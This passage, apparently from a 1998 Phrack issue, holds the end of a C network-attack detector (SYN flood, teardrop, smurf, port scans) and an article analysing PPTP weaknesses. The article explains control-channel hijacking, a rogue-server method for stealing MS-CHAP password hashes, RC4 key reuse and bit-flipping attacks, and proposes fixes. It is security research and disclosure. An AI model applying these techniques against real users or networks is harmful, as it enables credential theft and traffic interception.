Gprogramname = argv[0];

while((c = getopt(argc,argv,"d:f:hi:m:p:r:t:w:")) != EOF) {

switch(c)

{

case 'd':

Gdevice = optarg;

break;

case 'f':

Gsynflood = atoi(optarg);

break;

case 'h':

usage();

exit(0);

case 'i':

Gicmplimit = atoi(optarg);

break;

case 'm':

if(strcmp(optarg, "all") == 0)

Gwatchlevel = HUMANITARIAN;

else if(strcmp(optarg, "subnet") == 0)

Gwatchlevel = MYSUBNET;

else

{

usage();

exit(‑1);

}

break;

case 'p':

Gportlimit = atoi(optarg);

break;

case 'r':

if(strcmp(optarg, "dos") == 0)

Greportlevel = REPORTDOS;

else if(strcmp(optarg, "scan") == 0)

Greportlevel = REPORTSCAN;

else

{

exit(‑1);

}

break;

case 't':

Gtimer = atoi(optarg);

break;

case 'w':

Gwebcount = atoi(optarg);

break;

default:

usage();

exit(‑1);

}

}

}

/***************************************

Function: usage

Purpose: Display the usage of the program

****************************************

void usage()

{

printf("Usage: %s [options]\n", Gprogramname);

printf(" ‑d device Use 'device' as the network interface device\n"); printf(" The first non‑loopback interface is the default\n"); printf(" ‑f flood Assume a synflood attack occurred if more than\n"); printf(" 'flood' uncompleted connections are received\n"); printf(" ‑h A little help here\n");

printf(" ‑i icmplimit Assume we may be part of a smurf attack if more\n"); printf(" than icmplimit ICMP ECHO REPLIES are seen\n"); printf(" ‑m level Monitor more than just our own host.\n"); printf(" A level of 'subnet' watches all addresses in our\n"); printf(" subnet and 'all' watches all addresses\n"); printf(" ‑p portlimit Logs a portscan alert if packets are received for\n"); printf(" more than portlimit ports in the timeout period.\n"); printf(" ‑r reporttype If reporttype is dos, only Denial Of Service\n"); printf(" attacks are reported. If reporttype is scan\n"); printf(" then only scanners are reported. Everything is\n"); printf(" reported by default.\n");

printf(" ‑t timeout Count packets and print potential attacks every\n"); printf(" timeout seconds\n");

printf(" ‑w webcount Assume we are being portscanned if more than\n"); printf(" webcount packets are received from port 80\n"); }

/***************************************

Function: buildnet

Purpose: Setup for monitoring of our host or entire subnet.

****************************************

void buildnet()

{

u_long addr;

u_char *p;

int i;

if(Gwatchlevel == MYSELFONLY)/* Just care about me */

{

(void) addtarget(Gmaddr);

}

else if(Gwatchlevel == MYSUBNET)/* Friends and neighbors */

{

addr = htonl(Gmaddr);

addr = addr & 0xffffff00;

for(i = 0; i < 256; i++)

(void) addtarget(ntohl(addr + i));

}

}

/***************************************

Function: doicare

Purpose: See if we monitor this address

****************************************

struct scaninfo *doicare(addr)

u_long addr;

{

struct scaninfo *si;

int i;

for(si = Gsilist; si; si = si‑>next)

{

if(si‑>addr == addr)

return(si);

}

if(Gwatchlevel == HUMANITARIAN)/* Add a new address, we always care */

{

si = addtarget(addr);

return(si);

}

return(NULL);

}

/***************************************

Function: addtarget

Purpose: Adds a new IP address to the list of hosts to watch.

****************************************

struct scaninfo *addtarget(addr)

u_long addr;

{

struct scaninfo *si;

if((si = (struct scaninfo *)malloc(sizeof(struct scaninfo))) == NULL) {

perror("malloc scaninfo");

exit(‑1);

}

memset(si, 0, sizeof(struct scaninfo));

si‑>addr = addr;

si‑>next = Gsilist;

Gsilist = si;

return(si);

}

/***************************************

Function: process_packet

Purpose: Process raw packet and figure out what we need to to with it.

Pulls the packet apart and stores key data in global areas for reference by other functions.

****************************************

void process_packet(pkt, pktlen)

u_char *pkt;

int pktlen;

{

struct ethhdr *ep;

struct iphdr *ip;

static struct align { struct iphdr ip; char buf[PKTLEN]; } a1; u_short off;

Gtimein = time((time_t *)0);

ep = (struct ethhdr *) pkt;

if(ntohs(ep‑>h_proto) != ETH_P_IP)

return;

pkt += sizeof(struct ethhdr);

pktlen ‑= sizeof(struct ethhdr);

memcpy(&a1, pkt, pktlen);

ip = &a1.ip;

Gsaddr = ip‑>saddr;

Gdaddr = ip‑>daddr;

if((Gsi = doicare(Gdaddr)) == NULL)

return;

off = ntohs(ip‑>frag_off);

Gisfrag = (off & IP_MF);/* Set if packet is fragmented */

Giplen = ntohs(ip‑>tot_len);

Gid = ntohs(ip‑>id);

pkt = (u_char *)ip + (ip‑>ihl << 2);

Giplen ‑= (ip‑>ihl << 2);

switch(ip‑>protocol)

{

case IPPROTO_TCP:

do_tcp(ep, pkt);

break;

case IPPROTO_UDP:

do_udp(ep, pkt);

break;

case IPPROTO_ICMP:

do_icmp(ep, pkt);

break;

default:

break;

}

}

/***************************************

Function: do_tcp

Purpose: Process this TCP packet if it is important.

****************************************

void do_tcp(ep, pkt)

struct ethhdr *ep;

u_char *pkt;

{

struct tcphdr *thdr;

u_short sport, dport;

thdr = (struct tcphdr *) pkt;

if(thdr‑>th_flags & TH_RST) /* RST generates no response */

return;/* Therefore can't be used to scan. */

sport = ntohs(thdr‑>th_sport);

dport = ntohs(thdr‑>th_dport);

if(thdr‑>th_flags & TH_SYN)

{

if(Gsaddr == Gdaddr && sport == dport)

{

Gsi‑>land.atktime = Gtimein;

Gsi‑>land.saddr = Gsaddr;

memcpy(Gsi‑>land.eaddr, ep‑>h_source, ETH_ALEN);

}

}

addtcp(sport, dport, thdr‑>th_flags, ep‑>h_source);

}

/***************************************

Function: addtcp

Purpose: Add this TCP packet to our list.

****************************************

void addtcp(sport, dport, flags, eaddr)

u_short sport;

u_short dport;

u_char flags;

u_char *eaddr;

{

struct pktin *pi, *last, *tpi;

/* See if this packet relates to other packets already received. */

for(pi = Gsi‑>tcpin; pi; pi = pi‑>next)

{

if(pi‑>saddr == Gsaddr && pi‑>dport == dport)

{

if(flags == TH_SYN)

addfloodinfo(pi, sport);

else if((flags & TH_FIN) || (flags & TH_ACK)) rmfloodinfo(pi, sport);

return;

}

last = pi;

}

/* Must be new entry */

if((tpi = (struct pktin *)malloc(sizeof(struct pktin))) == NULL) {

perror("Malloc");

exit(‑1);

}

memset(tpi, 0, sizeof(struct pktin));

memcpy(tpi‑>eaddr, eaddr, ETH_ALEN);

tpi‑>saddr = Gsaddr;

tpi‑>sport = sport;

tpi‑>dport = dport;

tpi‑>timein = Gtimein;

if(flags == TH_SYN)

addfloodinfo(tpi, sport);

if(Gsi‑>tcpin)

last‑>next = tpi;

else

Gsi‑>tcpin = tpi;

}

/***************************************

Function: addfloodinfo

Purpose: Add floodinfo information

****************************************

void addfloodinfo(pi, sport)

struct pktin *pi;

u_short sport;

{

struct floodinfo *fi;

fi = (struct floodinfo *)malloc(sizeof(struct floodinfo)); if(fi == NULL)

{

perror("Malloc of floodinfo");

exit(‑1);

}

memset(fi, 0, sizeof(struct floodinfo));

fi‑>sport = sport;

fi‑>next = pi‑>fi;

pi‑>fi = fi;

}

/***************************************

Function: rmfloodinfo

Purpose: Removes floodinfo information

****************************************

void rmfloodinfo(pi, sport)

struct pktin *pi;

u_short sport;

{

struct floodinfo *fi, *prev = NULL;

for(fi = pi‑>fi; fi; fi = fi‑>next)

{

if(fi‑>sport == sport)

break;

prev = fi;

}

if(fi == NULL)

return;

if(prev == NULL)/* First element */

pi‑>fi = fi‑>next;

else

prev‑>next = fi‑>next;

free(fi);

}

/***************************************

Function: do_udp

Purpose: Process this udp packet.

Currently teardrop and all its derivitives put 242 in the IP id field. This could obviously be changed. The truly paranoid might want to flag all fragmented UDP packets. The truly adventurous might enhance the code to track fragments and check them for overlaping boundaries.

****************************************

void do_udp(ep, pkt)

struct ethhdr *ep;

u_char *pkt;

{

struct udphdr *uhdr;

u_short sport, dport;

uhdr = (struct udphdr *) pkt;

if(Gid == 242 && Gisfrag)/* probable teardrop */

{

Gsi‑>teardrop.saddr = Gsaddr;

memcpy(Gsi‑>teardrop.eaddr, ep‑>h_source, ETH_ALEN); Gsi‑>teardrop.atktime = Gtimein;

}

sport = ntohs(uhdr‑>source);

dport = ntohs(uhdr‑>dest);

addudp(sport, dport, ep‑>h_source);

}

/***************************************

Function: addudp

Purpose: Add this udp packet to our list.

****************************************

void addudp(sport, dport, eaddr)

u_short sport;

u_short dport;

u_char *eaddr;

{

struct pktin *pi, *last, *tpi;

for(pi = Gsi‑>udpin; pi; pi = pi‑>next)

{

if(pi‑>saddr == Gsaddr && pi‑>dport == dport)

{

pi‑>timein = Gtimein;

return;

}

last = pi;

}

/* Must be new entry */

if((tpi = (struct pktin *)malloc(sizeof(struct pktin))) == NULL) {

perror("Malloc");

exit(‑1);

}

memset(tpi, 0, sizeof(struct pktin));

memcpy(tpi‑>eaddr, eaddr, ETH_ALEN);

tpi‑>saddr = Gsaddr;

tpi‑>sport = sport;

tpi‑>dport = dport;

tpi‑>timein = Gtimein;

if(Gsi‑>udpin)

last‑>next = tpi;

else

Gsi‑>udpin = tpi;

}

/***************************************

Function: do_icmp

Purpose: Process an ICMP packet.

We assume there is no valid reason to receive a fragmented ICMP packet.

****************************************

void do_icmp(ep, pkt)

struct ethhdr *ep;

u_char *pkt;

{

struct icmphdr *icmp;

icmp = (struct icmphdr *) pkt;

if(Gisfrag)/* probable ICMP attack (i.e. Ping of Death) */

{

Gsi‑>icmpfrag.saddr = Gsaddr;

memcpy(Gsi‑>icmpfrag.eaddr, ep‑>h_source, ETH_ALEN); Gsi‑>icmpfrag.atktime = Gtimein;

}

if(icmp‑>type == ICMP_ECHOREPLY)

Gsi‑>icmpcnt++;

return;

}

/***************************************

Function: clear_pkt

Purpose: Delete and free space for any old packets.

****************************************

void clear_pktin(si)

struct scaninfo *si;

{

struct pktin *pi;

struct floodinfo *fi, *tfi;

time_t t, t2;

t = time((time_t *)0);

while(si‑>tcpin)

{

t2 = t ‑ si‑>tcpin‑>timein;

if(t2 > Gtimer)

{

pi = si‑>tcpin;

fi = pi‑>fi;

while(fi)

{

tfi = fi;

fi = fi‑>next;

free(tfi);

}

si‑>tcpin = pi‑>next;

free(pi);

}

else

break;

}

while(si‑>udpin)

{

t2 = t ‑ si‑>udpin‑>timein;

if(t2 > Gtimer)

{

pi = si‑>udpin;

si‑>udpin = pi‑>next;

free(pi);

}

else

break;

}

}

/***************************************

Function: print_info

Purpose: Print out any alerts.

****************************************

void print_info()

{

struct pktin *pi;

struct addrlist *tcplist = NULL, *udplist = NULL, *al; struct floodinfo *fi;

char buf[1024], *eaddr, abuf[32];

int i;

strcpy(abuf, anetaddr(Gsi‑>addr));

if(Greportlevel == REPORTALL || Greportlevel == REPORTDOS) {

if(Gsi‑>teardrop.atktime)

{

eaddr = ether_ntoa(Gsi‑>teardrop.eaddr);

sprintf(buf, "Possible teardrop attack from %s (%s) against %s", anetaddr(Gsi‑>teardrop), eaddr, abuf); syslog(LOG_ALERT, buf);

memset(&Gsi‑>teardrop, 0, sizeof(struct atk));

}

if(Gsi‑>land.atktime)

{

eaddr = ether_ntoa(Gsi‑>land.eaddr);

sprintf(buf, "Possible land attack from (%s) against %s", eaddr, abuf);

syslog(LOG_ALERT, buf);

memset(&Gsi‑>land, 0, sizeof(struct atk));

}

if(Gsi‑>icmpfrag.atktime)

{

eaddr = ether_ntoa(Gsi‑>icmpfrag.eaddr);

sprintf(buf, "ICMP fragment detected from %s (%s) against %s", anetaddr(Gsi‑>icmpfrag), eaddr, abuf); syslog(LOG_ALERT, buf);

memset(&Gsi‑>icmpfrag, 0, sizeof(struct atk));

}

if(Gsi‑>icmpcnt > Gicmplimit)

{

sprintf(buf, "ICMP ECHO threshold exceeded, smurfs up. I saw %d packets\n", Gsi‑>icmpcnt); syslog(LOG_ALERT, buf);

Gsi‑>icmpcnt = 0;

}

}

for(pi = Gsi‑>tcpin; pi; pi = pi‑>next)

{

i = 0;

for(fi = pi‑>fi; fi; fi = fi‑>next)

i++;

if(Greportlevel == REPORTALL || Greportlevel == REPORTDOS)

{

if(i > Gsynflood)

{

eaddr = ether_ntoa(pi‑>eaddr);

sprintf(buf, "Possible SYNFLOOD from %s (%s), against %s. I saw %d packets\n", anetaddr(pi‑>saddr), eaddr, abuf, i); syslog(LOG_ALERT, buf);

}

}

for(al = tcplist; al; al = al‑>next)

{

if(pi‑>saddr == al‑>saddr)

{

al‑>cnt++;

if(pi‑>sport == 80)

al‑>wwwcnt++;

break;

}

}

if(al == NULL)/* new address */

{

al = (struct addrlist *)malloc(sizeof(struct addrlist)); if(al == NULL)

{

perror("Malloc address list");

exit(‑1);

}

memset(al, 0, sizeof(struct addrlist));

al‑>saddr = pi‑>saddr;

al‑>cnt = 1;

if(pi‑>sport == 80)

al‑>wwwcnt = 1;

al‑>next = tcplist;

tcplist = al;

}

}

if(Greportlevel == REPORTALL || Greportlevel == REPORTSCAN) {

for(al = tcplist; al; al = al‑>next)

{

if((al‑>cnt ‑ al‑>wwwcnt) > Gportlimit || al‑>wwwcnt > Gwebcount) {

sprintf(buf, "Possible TCP port scan from %s (%d ports) against %s\n", anetaddr(al‑>saddr), al‑>cnt, abuf); syslog(LOG_ALERT, buf);

}

}

for(pi = Gsi‑>udpin; pi; pi = pi‑>next)

{

for(al = udplist; al; al = al‑>next)

{

if(pi‑>saddr == al‑>saddr)

{

al‑>cnt++;

break;

}

}

if(al == NULL)/* new address */

{

al = (struct addrlist *)malloc(sizeof(struct addrlist)); if(al == NULL)

{

perror("Malloc address list");

exit(‑1);

}

memset(al, 0, sizeof(struct addrlist)); al‑>saddr = pi‑>saddr;

al‑>cnt = 1;

al‑>next = udplist;

udplist = al;

}

}

for(al = udplist; al; al = al‑>next)

{

if(al‑>cnt > Gportlimit)

{

sprintf(buf, "Possible UDP port scan from %s (%d ports) against %s\n", anetaddr(al‑>saddr), al‑>cnt, abuf); syslog(LOG_ALERT, buf);

}

}

}

while(tcplist)

{

al = tcplist‑>next;

free(tcplist);

tcplist = al;

}

while(udplist)

{

al = udplist‑>next;

free(udplist);

udplist = al;

}

}

/***************************************

Function: anetaddr

Description:

Another version of the intoa function.

****************************************

char *anetaddr(addr)

u_long addr;

{

u_long naddr;

static char buf[16];

u_char b[4];

int i;

naddr = ntohl(addr);

for(i = 3; i >= 0; i‑‑)

{

b[i] = (u_char) (naddr & 0xff);

naddr >>= 8;

}

sprintf(buf, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]); return(buf);

}

/***************************************

Function: initdevice

Description: Set up the network device so we can read it.

****************************************

initdevice(fd_flags, dflags)

int fd_flags;

u_long dflags;

{

struct ifreq ifr;

int fd, flags = 0;

if((fd = socket(PF_INET, SOCK_PACKET, htons(0x0003))) < 0) {

perror("Cannot open device socket");

exit(‑1);

}

/* Get the existing interface flags */

strcpy(ifr.ifr_name, Gdevice);

if(ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)

{

perror("Cannot get interface flags");

exit(‑1);

}

ifr.ifr_flags |= IFF_PROMISC;

if(ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)

{

perror("Cannot set interface flags");

exit(‑1);

}

return(fd);

}

/***************************************

Function: readdevice

Description: Read a packet from the device.

****************************************

u_char *readdevice(fd, pktlen)

int fd;

int *pktlen;

{

int cc = 0, from_len, readmore = 1;

struct sockaddr from;

static u_char pktbuffer[PKTLEN];

u_char *cp;

while(readmore)

{

from_len = sizeof(from);

if((cc = recvfrom(fd, pktbuffer, PKTLEN, 0, &from, &from_len)) < 0) {

if(errno != EWOULDBLOCK)

return(NULL);

}

if(strcmp(Gdevice, from.sa_data) == 0)

readmore = 0;

}

*pktlen = cc;

return(pktbuffer);

}

/***************************************

Function: ether_ntoa

Description:

Translates a MAC address into ascii. This function emulates

the ether_ntoa function that exists on Sun and Solaris, but not on Linux. It could probably (almost certainly) be more efficent, but it will do.

****************************************

char *ether_ntoa(etheraddr)

u_char etheraddr[ETH_ALEN];

{

int i, j;

static char eout[32];

char tbuf[10];

for(i = 0, j = 0; i < 5; i++)

{

eout[j++] = etheraddr[i] >> 4;

eout[j++] = etheraddr[i] & 0xF;

eout[j++] = ':';

}

eout[j++] = etheraddr[i] >> 4;

eout[j++] = etheraddr[i] & 0xF;

eout[j++] = '\0';

for(i = 0; i < 17; i++)

{

if(eout[i] < 10)

eout[i] += 0x30;

else if(eout[i] < 16)

eout[i] += 0x57;

}

return(eout);

}

<‑‑>

‑‑‑‑[ EOF

The Crumbling Tunnel

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 12 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Crumbling Tunnel

‑‑‑‑‑‑‑‑[ aleph1 <aleph1@underground.org>

‑[ The Crumbling Tunnel ]< A Menagerie of PPTP Vulnerabilities >

by aleph1@underground.org

Point‑to‑Point Tunneling Protocol (PPTP) is a new networking technology that allows you to use the Internet as your own secure virtual private network (VPN). PPTP is integrated with the Remote Access Services (RAS) server which is built into Windows NT Server. With PPTP, your users can dial into a local ISP, or connect directly to the Internet, and access their network just as easily and securely as if they were at their desks.

< http://www.microsoft.com/communications/pptp.htm >

‑[ p r e f a c e ]‑

This paper is a compendium of the discussions between myself and a Microsoft representative during October 1996 and May 1997 on several NT security mailing lists, the research done by Counterpane System and published in the paper "Cryptanalysis of Microsoft's Point‑to‑Point Tunneling Protocol (PPTP)" by B. Schneier and P. Mudge on June 1998, and a new vulnerability I have recently discovered.

‑[ i n t r o d u c t i o n ]‑

As stated above, the Point‑to‑Point Tunneling Protocol is Microsoft's attempt at creating a Virtual Private Network (VPN) protocol. Given their past history in developing and implementing protocols, an analysis of PPTP for security vulnerabilities would certainly be an interesting endeavor. The following is such an analysis.

Although this analysis is technical in nature, I will not spend the time describing exactly how each protocol works. I will assume you have done your homework and at least briefly glanced over the specifications for each of the protocols involved.

PPTP is really a number of protocols cobbled together to make a whole. The players are:

GRE ‑ The Generic Encapsulation Protocol. The protocol is defined in RFC 1701 and RFC 1702. Microsoft has defined their own extensions. They call their modifications GRE v2.

PPP ‑ The Point‑to‑Point Protocol. The protocol is defined in RFC 1661. The protocol is used for the transmission of multi‑protocol datagrams over point‑to‑point links.

PPTP ‑ PPTP uses GRE to tunnel PPP and adds a connections setup and control protocol over a TCP session.

MS‑CHAP ‑ This is Microsoft's variant of the more common PPP CHAP authentication protocol. It is a challenge response authentication algorithm. It supplies the challenge used by MPPE (see below) to encrypt the session. It also has two sub‑protocols for changing passwords. It is defined in the draft draft‑ietf‑pppext‑mschap‑00.txt.

MPPE ‑ Microsoft's Point‑to‑Point Encryption protocol. This is the protocol in charge of generating a session key and encrypting the session. It is defined in the drafts draft‑ietf‑pppext‑mppe‑00.txt and draft‑ietf‑pppext‑mppe‑01.txt.

< PPTP in a nutshell >

PPTP creates a connection setup and control channel using TCP to the PPTP server (Microsoft's RAS). Using this connection, PPTP establishes a new GRE tunnel which will carry PPP packets from the client to the server. The client will authenticate to the server via PPP's negotiation mechanism using MS‑CHAP and will then encrypt all PPP data packets using MPPE.

Enough acronyms for you? Lets get dirty.

‑[ P P T P ]‑

PPTP creates a connection setup and control channel to the server using TCP. Originally the TCP port used was 5678. Later on it was changed to 1723. This is the IANA assigned port number. The control connection is not authenticated in any way. It is easy for Mallory (the malicious interloper) to take over the connection via TCP hijacking techniques. She can then issue Stop Session Request commands. This will close the control channel and at the same time all active calls (tunnels) will be cleared.

‑[ G R E ]‑

PPP packets are encapsulated in GRE and tunneled on top of IP. GRE uses IP protocol number 47. GRE packets are similar in some respects to TCP segments. They both may carry a sequence and acknowledgement number. GRE also uses a sliding window to avoid congestion.

This has some important implications. It means that if we want to spoof PPP packets encapsulated in GRE, we will desynchronize the GRE channel. A possible way around this is the use of the "S" flag in the GRE header. This flag tells the end point if the GRE packet has a sequence number. It is possible that a badly coded implementation will accept a GRE packet with data even if it does not have a sequence number. This is because in the original GRE standard the use of sequence numbers was optional. Furthermore, the specification does not mention how an end system should act if it receives a GRE packet with a duplicate sequence number. It may simply discard it and send another acknowledgement. This would mean we do not need to resynchronize GRE at all. The other end will send an acknowledgement for the packet we spoofed and the encapsulated PPP should not become desynchronized. As of this writing I haven't yet tested this possibility.

It is also interesting to note that the original GRE specification has many options to do things like source routing which are left as implementation specific. If you open a hole in your firewall for GRE just so you can use PPTP you might be letting in more than you think. This area needs further investigation.

‑[ M S ‑ C H A P ]‑

MS‑CHAP is a challenge response protocol. The server send the client an 8 byte challenge. The client computes a response by encrypting the challenge with the NT one way hash and then with the LANMAN one way hash.

< Dictionary Attack >

Like most other challenge/response protocols, this one is vulnerable to a dictionary by such tools as L0phtcrack. As Schneier and Mudge describe in their paper, the LANMAN based response is easier to crack than it normally is because here it is divided into three pieces which are encrypted independently. This allows for a speed up in breaking the password. Please see their paper for a detailed explanation of the process.

The PPTP Performance update for Windows NT 4.0 (PPTP2‑FIX) stops the PPTP Windows NT client from sending the LANMAN hash based response if the client is configured to use 128‑bit encryption. The same fix also allows the server to reject PPTP clients that attempt to authenticate using the LANMAN hash based response.

< Stealing the Password >

MS‑CHAP has two sub‑protocols for changing password. In version one the client encrypts the new and old hashes (NT and LANMAN) with the challenge the server sent over the wire. A passive attacker can simply decrypt the hashes and steal them.

Version two encrypts the new hashes with the old hashes and encrypts the old hashes with the new hashes. Only the server, which knows the old hashes, will be able to decrypt the new hashes and use these to decrypt the old hashes and verify the user's identity.

As I recently discovered, this feature of MS‑CHAP can be used to steal the user's password hashes if Mallory can masquerade as the PPTP server. Several methods to masquerade as the server come into mind, including DNS hijacking and RIP spoofing. Once the unsuspecting user connects to Mallory's rogue server and attempts to authenticate she will return a ERROR_PASSWD_EXPIRE error to the user and tell the client to use the older version of the password change sub‑protocol. The user will then be prompted by the PPTP client to enter his old and new password. The client will proceed to send the new and old password hashes, LANMAN and NT, encrypted with the challenge the rouge server sent. Now Mallory can use the hashes to logon into the real PPTP server and impersonate the user.

The MS‑CHAP draft deprecates the use of the change password version 1 protocol but Microsoft's implementation continue to support it. This vulnerability was verified using Windows NT's RAS PPTP client with the PPTP Performance Update (PPTP2‑FIX) installed. At the end you will find some source code that implements a demonstration PPTP server that asks the user to change passwords using the older protocol and prints the stolen hashes on the screen.

‑[ M P P E ]‑

The are two drafts for MPPE. I'll discuss the earlier one first.

MPPE uses RC4, a stream cipher, to encrypt the PPP datagrams. MPPE is negotiated as a compression protocol as part of PPP's Link Control Protocol negotiation.

< Session Keys >

MPPE currently supports 40 and 128 bit session keys, although more key lengths can be defined. The 40‑bit session key is derived from the first 8 bytes of the LANMAN hash. The session key will be the same for all sessions until the user changes his password.

The 128‑bit session key is created by taking the first 16 bytes of the MD4 hash and the first 16 bytes of the NT hash, and then hashing them with the servers challenge. Microsoft claims that they hash the NT hash to protect it. I fail to see their point. The password hash, nor it's hash, ever go over the wire. Why they selected this algorithm remains a mystery.

The new MPPE draft adds an option to use a 40‑bit key derived from the NT hash.

As Schneier and Mudge point out, it is misleading to say MPPE provides 128‑bit, or even 40‑bit, security. The 40‑bit LANMAN based session key is derived from the password only, and as such will have a much lower entropy than a random 40‑bit key. The 128‑bit and 40‑bit NT hash based session keys are derived from both the users password and the server's challenge. Depending on how good the server's random number generator is, the session key may have a much lower entropy than 128 or 40 bits. A study of how Microsoft's PPTP server, and NT in general, generates random numbers would be interesting. The only way to guarantee the full strength of the key is by generating it with a good RNG.

< Attacking PPP >

As Schneier and Mudge also point, out only PPP packets with protocol numbers between 0x21 and 0xFA are encrypted (in essence only data packets are encrypted). In contrast, the PPP Encryption Control Protocol (RFC 1968) encrypts all packets other than LCP packets after ECP is negotiated.

This means Mallory can spoof Network Control Protocol packets with impunity. It also means she can obtain some useful information by simply sniffing the NCP packets. Things like whether the internal network uses IP, IPX, or NetBIOS, the internal IP address of the PPTP client, NetBIOS names, the IP address of internal WINS and DNS servers, the clients internal IPX node number and other things. Read the IPCP (RFC 13320, NBFCP (RFC 2097) and IPXCP (RFC 1552) specifications for more information.

< Breaking RC4 >

Stream ciphers, like RC4, are susceptible to attack if two or more plaintexts are encrypted with the same key. If you take two ciphertexts encrypted with the same key and xor them together you will obtain the two plaintexts xor'ed together. If you can make an educated guess as to the structure and contents of part of one of the plaintexts you will be able to obtain the corresponding plaintext in the other message.

MPPE is susceptible to such an attack. As mentioned above the 40‑bit session key is the same in each session. Mallory can passively monitor the network and collect many sessions, all encrypted with the same key that she can then attempt to break. The problem is compounded since she has learned things like the clients internal IP address and its NetBIOS name which will be in the encrypted packets by monitoring the NCP PPP packets.

MPPE uses the same key in each direction. For each session at least two packets, one inbound and one outbound, will be encrypted with the same key. In this way, even traffic protected by the 128‑bit unique session key can be attacked.

MPPE being a sub‑protocol of PPP, a datagram protocol, does not expect a reliable link. Instead it maintains a 12‑bit coherency count that is increased for each packet to keep the encryption tables synchronized. Each time the low order byte of the coherency count equals 0xFF (every 256 packets) the session key is regenerated based on the original session key and the current session key.

If MPPE ever sees a packet with a coherency that it is not expecting it sends a CCP Reset‑Request packet to the other end. The other end, upon seeing this packet, will re‑initialize the RC4 tables using the current session key. The next packet it sends will have the flushed bit set. This bit will indicate to the other end that it should re‑initialize its own tables. In this way they become resynchronized. This mode of operation is called "stateful mode" in the new MPPE draft.

What does this all mean to us? Well, it means we can force both ends of the connection to keep encrypting their packets with the same key until the low order sequence number reaches 0xFF. For example assume Alice and Bob have just set up the communication channel. They both have initialized their session keys and expect a packet with a coherency count of zero.

Alice ‑> Bob

Alice sends Bob a packet numbered zero encrypted with the cipher stream generated by the RC4 cipher and increments her sent coherency count to one. Bob receives the packet, decrypts it, and increments his receive coherency count to 1.

Mallory (Bob) ‑> Alice

Mallory sends Alice a spoofed (remember this is datagram protocol ‑ assuming we don't desynchronize GRE) CCP Reset‑Request packet. Alice immediately re‑initializes her RC4 tables to their original state.

Alice ‑> Bob

Alice sends another packet to Bob. This packet will be encrypted with the same cipherstream as the last packet. The packet will also have the FLUSHED bit set. This will make Bob re‑initialize its own RC4 tables.

Mallory can continue to play this game up to a total of 256 times after which the session key will be changed. By this point Mallory will have collected 256 packets from Alice to Bob all encrypted with the same cipher stream.

Furthermore, since Alice and Bob start with the same session key in each direction Mallory can play the same game in the opposite direction collecting another 256 packets encrypted with the same cipher stream as the ones going from Alice to Bob.

The Apr 1998 version of the draft adds a "stateless mode" option (otherwise known as "historyless mode" in some Microsoft literature) to the negotiation packets. This option tells MPPE to change the session key after every packet and to ignore all this CCP Reset‑Request and flushed bit business. This option was introduced to improve PPTP's performance. Although re‑keying after each packet cuts the cipher performance by almost half, now PPTP no longer has to wait a whole round trip time to resynchronize. This, in effect improves the performance of PPTP and at the same time made the attack I describe above useless.

This new stateless mode was incorporated in the PPTP Performance Update for Windows NT 4.0 (PPTP2‑FIX).

< Bit Flipping >

Schneier and Mudge describe a bit flipping attack in their paper. Because of the properties of the RC4 cipher as used within MPPE an attacker can flip bits in the ciphertext that will be decrypted correctly by MPPE. In this way an attacker can modify encrypted packets while they are in transit.

‑[ i m p l e m e n t a t i o n b u g s ]‑

Schneier and Mudge describe a number of implementation bugs in Microsoft's PPTP control channel that crashed Windows NT with the Blue Screen of Death. Keving Wormington has found similar problem as posted some demonstration code to the BugTraq mailing list in Nov 1997. Microsoft claims to have fixed this or similar problems in their PPTP‑FIX hotfix.

Schneier and Mudge also found that the Windows 95 client does not zero fill its buffers and leaks information in its protocol packets.

A bug in the PPTP server allows clients to remain connected while packets are transmitted in the clear if the encryption negotiation between the client and server fails. This problem is documented in Microsoft's Knowledge Base article Q177670. They claim to have fixed it in the PPTP‑FIX hotfix.

‑[ f i x i n g t h i n g s ]‑

It is interesting to note that Microsoft has chosen to omit certain vulnerabilities from their response to the Counterpane paper. Let's summarize them here so they don't get confused:

‑‑‑> The control connection is not authenticated.

Microsoft claims they will enhance the control channel in future updates to authenticate each control packet.

‑‑‑> The MS‑CHAP LANMAN hash response is vulnerable to a dictionary attack ‑‑‑| that can be speed up enormously.

The PPTP Performance Update for Windows NT 4.0 has added the option to reject PPTP clients that attempt to use the LANMAN based response. It also stops the Windows NT PPTP client from sending the LANMAN based response when it is configured to require 128‑bit encryption. This is of little comfort to non‑US customers that cannot use the 128‑bit version of the software. Microsoft claims to be testing a Windows 95 client update, possibly DUN 1.3, that will stop clients from sending the LANMAN response. The only way for Microsoft to completely get rid of the 40‑bit LANMAN hash based key and support non‑US customers is for them to implement the 40‑bit NT hash based session key introduced in the second MPPE draft.

‑‑‑> The MS‑CHAP NT hash response is vulnerable to a dictionary attack.

They must not use the password for authentication. Some sort of public key protocol would fix the problem.

‑‑‑> A attacker can steal a users password hashes via the MS‑CHAP password ‑‑‑| change protocol version one.

They update all the clients to stop responding to password change requests using version one of the protocol.

‑‑‑> The 40‑bit LANMAN hash based session key is the same across sessions. ‑‑‑> MPPE does not provide true 128‑bit or 40‑bit security.

Microsoft simply recommends that customers enforce a strong password policy. They should instead modify PPTP to generate truly random keys.

‑‑‑> MPPE does not encrypt Network Control Protocol PPP packets.

NCP packets should be encrypted.

‑‑‑> MPPE uses the same key in both directions.

Each direction must be started with a different key.

‑‑‑> MPPE is vulnerable to a Reset‑Request attack.

Microsoft has fixed this problem in the latest PPTP draft by introducing the stateless mode. The PPTP Performance Update for Windows NT 4.0 implements this mode of operation. There is no solution for Windows 95 yet. This means that if you have Windows 95 PPTP clients you are still vulnerable.

‑‑‑> MPPE is vulnerable to bit flipping attacks.

They must add a MAC to each packet or use a cipher other than RC4 that does not exhibit this property.

‑‑‑> There are a number of denial of service and other vulnerabilities ‑‑‑| caused by implementation errors.

Microsoft claims to have fixed some of this problems with PPTP‑FIX and PPTP2‑FIX.

At least Microsoft should produce an Windows NT and Windows 95 PPTP update that does not use the same session keys in each direction, that does not support MS‑CHAP password change protocol version one, does not send the send to LANMAN based response and supports the 40‑bit NT hash based session key.

‑[ f u t u r e d i r e c t i o n s ]‑

Microsoft's VPN strategy appears to be moving away from PPTP and going to Layer Two Tunneling Protocol (L2TP) and IPsec. L2TP (currently an IETF draft) is a compromise between Cisco's Layer Two Forwarding (L2F), (a competing protocol) and PPTP. This is certain to take a long time and they will probably support PPTP for backwards compatibility.

